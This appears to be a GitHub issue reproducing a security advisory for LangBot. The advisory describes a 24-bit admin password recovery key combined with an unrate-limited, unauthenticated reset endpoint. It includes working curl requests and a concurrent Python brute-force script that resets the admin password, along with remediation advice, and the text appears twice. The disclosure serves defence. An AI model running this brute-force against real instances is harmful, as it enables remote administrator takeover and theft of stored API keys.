Runtime environment
v4.10.2
Deployment version
Community Edition
Exception
reported on 15 June 2026 via https://github.com/langbot-app/LangBot/security/advisories/GHSA-4xcp-6758-rxqv:
Summary
LangBot generates the password-recovery secret (system.recovery_key) with only 3 bytes of entropy (secrets.token_hex(3) = 6 hex characters = 2^24 = 16,777,216 possible values). This secret is the sole authorization factor for the unauthenticated POST /api/v1/user/reset-password endpoint, which resets the administrator's password.
The endpoint has no account lockout, no per-IP rate limiting, and no global throttle. Its only protective measure is a fixed await asyncio.sleep(3) placed at the top of the handler. Because that sleep is asynchronous and the Quart application accepts concurrent requests, it does not limit aggregate throughput: an attacker issuing requests concurrently can guess the entire 24-bit keyspace in hours and reset the admin password without any prior authentication.
The root cause is twofold: (1) a recovery secret that grants full account takeover is sized at only 24 bits, and (2) the takeover endpoint lacks any anti-automation control.
Details
Recovery-key generation (24 bits)
src/langbot/pkg/core/stages/genkeys.py:
if not ap.instance_config.data['system']['recovery_key']:
ap.instance_config.data['system']['recovery_key'] = secrets.token_hex(3).upper()
await ap.instance_config.dump_config()
secrets.token_hex(3) returns 3 random bytes encoded as 6 hexadecimal characters (uppercased). The full keyspace is 16**6 = 16,777,216 values (2^24).
Unauthenticated reset endpoint
src/langbot/pkg/api/http/controller/groups/user.py:
@self.route('/reset-password', methods=['POST'], auth_type=group.AuthType.NONE)
async def _() -> str:
json_data = await quart.request.json
user_email = json_data['user']
recovery_key = json_data['recovery_key']
new_password = json_data['new_password']
# hard sleep 3s for security
await asyncio.sleep(3)
if not await self.ap.user_service.is_initialized():
return self.http_status(400, -1, 'System not initialized')
user_obj = await self.ap.user_service.get_user_by_email(user_email)
if user_obj is None:
return self.http_status(400, -1, 'User not found')
if recovery_key != self.ap.instance_config.data['system']['recovery_key']:
return self.http_status(403, -1, 'Invalid recovery key')
await self.ap.user_service.reset_password(user_email, new_password)
return self.success(data={'user': user_email})
auth_type=group.AuthType.NONE means the request is processed without any token (see group.py, where only the USER_TOKEN, API_KEY, and USER_TOKEN_OR_API_KEY branches enforce credentials). A correct (user_email, recovery_key) pair immediately rewrites the admin password hash via reset_password, returning the new credentials to the caller.
Why the 3-second sleep does not protect
await asyncio.sleep(3) suspends only the current coroutine; it does not block the event loop or serialize other in-flight requests. There is no lockout counter, no per-IP limiter, and no global before_request throttle anywhere in the HTTP layer (src/langbot/pkg/api/http/controller/main.py registers no rate-limiting middleware and sets CORS allow_origin='*', binding 0.0.0.0). With C concurrent requests the effective guess rate is approximately C / 3 per second, independent of the sleep.
For 2^24 keys:
- 1000 concurrent requests -> ~333 guesses/s -> worst case ~14 h, average ~7 h to recover the admin password.
- 500 concurrent requests -> ~167 guesses/s -> worst case ~28 h, average ~14 h.
These are well within feasible attack windows for an unauthenticated remote attacker.
Reproduction steps
Proof of Concept
Prerequisites:
- A running LangBot instance that has completed first-run initialization (an admin user exists). Default listen address is
0.0.0.0:5300.
- Knowledge of the admin login email (the
user field). This is the only attacker-supplied identifier and is commonly an organizational/personal address.
Step 1 -- Confirm the recovery-key entropy that the server generates. Run the server's exact generation code locally:
python3 - <<'EOF'
import secrets, math
key = secrets.token_hex(3).upper() # identical to genkeys.py line 23
print("example recovery_key:", key, "length:", len(key))
ks = 16 ** len(key)
print("keyspace:", ks, "= 2^%.0f bits" % math.log2(ks))
EOF
Observed output:
example recovery_key: 2A5AED length: 6
keyspace: 16777216 = 2^24 bits
Step 2 -- Verify the reset endpoint is reachable unauthenticated and rejects a wrong key (no credentials sent):
curl -s -X POST http://TARGET:5300/api/v1/user/reset-password \
-H 'Content-Type: application/json' \
-d '{"user":"admin@example.com","recovery_key":"000000","new_password":"PwnedPass1!"}'
Observed response (after the fixed 3 s delay; HTTP 403, processed without any auth token):
{"code":-1,"msg":"Invalid recovery key"}
Step 3 -- Brute-force the 24-bit recovery key concurrently. The following client fires the guesses with bounded concurrency; the per-request 3 s server sleep does not reduce aggregate throughput:
import asyncio, itertools, httpx
TARGET = "http://TARGET:5300/api/v1/user/reset-password"
ADMIN_EMAIL = "admin@example.com"
NEW_PASSWORD = "PwnedPass1!"
CONCURRENCY = 1000
def keys():
for n in range(0x1000000): # 0 .. 2^24-1
yield f"{n:06X}" # 6 upper-hex chars, matches token_hex(3).upper()
async def worker(client, sem, key, found):
if found:
return
async with sem:
r = await client.post(
TARGET,
json={"user": ADMIN_EMAIL, "recovery_key": key, "new_password": NEW_PASSWORD},
timeout=30,
)
if r.status_code == 200 and r.json().get("code") == 0:
found.append(key)
print("RECOVERY KEY FOUND:", key, "-> admin password reset to", NEW_PASSWORD)
async def main():
sem = asyncio.Semaphore(CONCURRENCY)
found = []
async with httpx.AsyncClient() as client:
it = keys()
while not found:
batch = list(itertools.islice(it, CONCURRENCY))
if not batch:
break
await asyncio.gather(*(worker(client, sem, k, found) for k in batch))
asyncio.run(main())
Step 4 -- Once a guess matches, the server returns:
{"code":0,"msg":"ok","data":{"user":"admin@example.com"}}
The admin password is now PwnedPass1!. Authenticate normally to obtain a full admin JWT:
curl -s -X POST http://TARGET:5300/api/v1/user/auth \
-H 'Content-Type: application/json' \
-d '{"user":"admin@example.com","password":"PwnedPass1!"}'
# {"code":0,"msg":"ok","data":{"token":"<admin JWT>"}}
With the admin token the attacker controls the entire instance (pipelines, model provider API keys, MCP/STDIO command execution per GHSA-3pvh-63gf-j9mw, knowledge bases, etc.).
Impact
Remote, unauthenticated takeover of the LangBot administrator account. The only precondition beyond network access is the admin login email. Because the recovery secret is only 24 bits and the reset endpoint enforces no lockout or rate limit, the entire keyspace can be exhausted in hours via concurrent requests. After takeover, the attacker gains full administrative control of LangBot, including stored model-provider API keys and authenticated code-execution surfaces.
Remediation
- Generate
recovery_key with substantially more entropy (e.g. secrets.token_urlsafe(32)), matching the strength already used for API keys (lbk_ + token_urlsafe(32)) and the JWT secret (token_hex(16)).
- Add anti-automation controls to
POST /api/v1/user/reset-password: per-IP and per-account rate limiting, exponential backoff, and a lockout/failed-attempt counter. The current single asyncio.sleep(3) does not throttle concurrent requests.
- Use
hmac.compare_digest for the recovery-key comparison to avoid timing side channels.
Enabled plugins
No response
Runtime environment
v4.10.2
Deployment version
Community Edition
Exception
reported on 15 June 2026 via https://github.com/langbot-app/LangBot/security/advisories/GHSA-4xcp-6758-rxqv:
Summary
LangBot generates the password-recovery secret (
system.recovery_key) with only 3 bytes of entropy (secrets.token_hex(3)= 6 hex characters = 2^24 = 16,777,216 possible values). This secret is the sole authorization factor for the unauthenticatedPOST /api/v1/user/reset-passwordendpoint, which resets the administrator's password.The endpoint has no account lockout, no per-IP rate limiting, and no global throttle. Its only protective measure is a fixed
await asyncio.sleep(3)placed at the top of the handler. Because that sleep is asynchronous and the Quart application accepts concurrent requests, it does not limit aggregate throughput: an attacker issuing requests concurrently can guess the entire 24-bit keyspace in hours and reset the admin password without any prior authentication.The root cause is twofold: (1) a recovery secret that grants full account takeover is sized at only 24 bits, and (2) the takeover endpoint lacks any anti-automation control.
Details
Recovery-key generation (24 bits)
src/langbot/pkg/core/stages/genkeys.py:secrets.token_hex(3)returns 3 random bytes encoded as 6 hexadecimal characters (uppercased). The full keyspace is16**6 = 16,777,216values (2^24).Unauthenticated reset endpoint
src/langbot/pkg/api/http/controller/groups/user.py:auth_type=group.AuthType.NONEmeans the request is processed without any token (seegroup.py, where only theUSER_TOKEN,API_KEY, andUSER_TOKEN_OR_API_KEYbranches enforce credentials). A correct(user_email, recovery_key)pair immediately rewrites the admin password hash viareset_password, returning the new credentials to the caller.Why the 3-second sleep does not protect
await asyncio.sleep(3)suspends only the current coroutine; it does not block the event loop or serialize other in-flight requests. There is no lockout counter, no per-IP limiter, and no globalbefore_requestthrottle anywhere in the HTTP layer (src/langbot/pkg/api/http/controller/main.pyregisters no rate-limiting middleware and sets CORSallow_origin='*', binding0.0.0.0). With C concurrent requests the effective guess rate is approximatelyC / 3per second, independent of the sleep.For 2^24 keys:
These are well within feasible attack windows for an unauthenticated remote attacker.
Reproduction steps
Proof of Concept
Prerequisites:
0.0.0.0:5300.userfield). This is the only attacker-supplied identifier and is commonly an organizational/personal address.Step 1 -- Confirm the recovery-key entropy that the server generates. Run the server's exact generation code locally:
Observed output:
Step 2 -- Verify the reset endpoint is reachable unauthenticated and rejects a wrong key (no credentials sent):
Observed response (after the fixed 3 s delay; HTTP 403, processed without any auth token):
Step 3 -- Brute-force the 24-bit recovery key concurrently. The following client fires the guesses with bounded concurrency; the per-request 3 s server sleep does not reduce aggregate throughput:
Step 4 -- Once a guess matches, the server returns:
The admin password is now
PwnedPass1!. Authenticate normally to obtain a full admin JWT:With the admin token the attacker controls the entire instance (pipelines, model provider API keys, MCP/STDIO command execution per GHSA-3pvh-63gf-j9mw, knowledge bases, etc.).
Impact
Remote, unauthenticated takeover of the LangBot administrator account. The only precondition beyond network access is the admin login email. Because the recovery secret is only 24 bits and the reset endpoint enforces no lockout or rate limit, the entire keyspace can be exhausted in hours via concurrent requests. After takeover, the attacker gains full administrative control of LangBot, including stored model-provider API keys and authenticated code-execution surfaces.
Remediation
recovery_keywith substantially more entropy (e.g.secrets.token_urlsafe(32)), matching the strength already used for API keys (lbk_+token_urlsafe(32)) and the JWT secret (token_hex(16)).POST /api/v1/user/reset-password: per-IP and per-account rate limiting, exponential backoff, and a lockout/failed-attempt counter. The current singleasyncio.sleep(3)does not throttle concurrent requests.hmac.compare_digestfor the recovery-key comparison to avoid timing side channels.Enabled plugins
No response